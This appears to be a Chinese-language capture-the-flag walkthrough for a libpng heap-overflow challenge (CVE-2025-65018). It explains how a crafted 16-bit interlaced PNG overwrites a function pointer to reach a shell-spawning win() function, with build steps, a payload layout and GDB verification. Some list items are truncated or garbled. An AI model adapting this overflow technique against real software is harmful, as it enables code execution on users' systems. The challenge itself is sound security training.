该挑战基于 libpng 中的真实缓冲区溢出漏洞(特别是在处理 16 位隔行扫描图像时,简化 API png_image_finish_read 中的问题)。
给定一个易受攻击的二进制文件 victim,它使用静态链接的、存在漏洞的 libpng 版本。该应用程序将一个名为 exploit.png 的 PNG 文件读入缓冲区。
你的目标是构造一个恶意的 PNG 文件,触发堆溢出,覆盖 Logger 结构体(位于图像缓冲区之后)中的函数指针,将执行重定向到 win() 函数,从而生成一个 shell。
先决条件: gcc、make、python3、git、autoconf、automake、libtool。
克隆仓库:
git clone --recursive https://github.com/bohemian-miser/CVE-2025-65018_Exploit_Challenge.git
cd CVE-2025-65018_Exploit_Challenge
构建挑战(包括存在漏洞的 libpng):
./build.sh
该脚本将:
libpng 源码以启用漏洞。libpng 库。victim 二进制文件。该漏洞存在于 libpng 处理隔行扫描图像时,当从 16 位输入转换为 8 位输出时。
PNG_FORMAT_RGBA)。libpng 分配了足够容纳 8 位数据的缓冲区大小。png_combine_row 错误地使用输入的 16 位位深将数据写入输出缓冲区。二进制文件中包含一个辅助函数 win(),它调用 execl("/bin/sh", ...)。我们需要它的地址。由于二进制文件是使用 -no-pie 编译的,地址是静态的。
nm victim | grep win
# 输出:00000000004013e0 T win
目标地址:0x4013e0
solve.py)我们需要创建一个有效的 PNG,它满足:
IHDR)指定 16 位深度。win 的地址)。solve.py 脚本实现了这一点:
Logger 结构体的偏移量(缓冲区起始位置之后 4096 字节)。win 地址放入最后一行的像素数据中。IDAT 块中。载荷布局:
win 地址 0x4013e0(小端序:E0 13 40 00 ...)需要编码到 16 位 RGB 像素中。
生成恶意 PNG:
python3 solve.py 4013e0
这将创建 exploit.png。
运行 victim:
./victim
预期输出:
[*] Win 函数位于:0x4013e0
[*] 缓冲区位于:0x7ffd51353530
[*] Logger 位于:0x7ffd51354530
[*] 从缓冲区起始到 Logger 的偏移量:4096 字节
[*] 处理图像...
[+] png_image_finish_read 成功
[*] 调用 logger...
[*] Hack 成功!生成 shell...
$
要观察溢出的实际过程,可以使用 GDB。
1. 在脆弱调用之前设置断点:
break 62
run
2. 观察覆写:
Logger 结构体位于偏移量 4096 处。让我们监视目标函数指针。
print &ctx.logger.log_func
# $1 = (void (**)(const char *)) 0x7fffffffc8f0
watch *0x7fffffffc8f0
continue
3. 触发:
当 png_combine_row 写入函数指针时,GDB 将停止。
硬件监视点 2:*0x7fffffffc8f0
旧值 = 4199366 (0x4013c6 <normal_log>)
新值 = 4199392 (0x4013e0 <win>)
0x00007ffff7e024d9 在 __memcpy_avx_unaligned_erms ()
这证实了 libpng 用 win 的地址覆盖了我们的指针!
victim.c:易受攻击的源代码。solve.py:利用程序生成器。libpng-src/:libpng (v1.6.37) 的源代码。build.sh:编译所有内容的脚本。Makefile:victim 二进制文件的构建系统。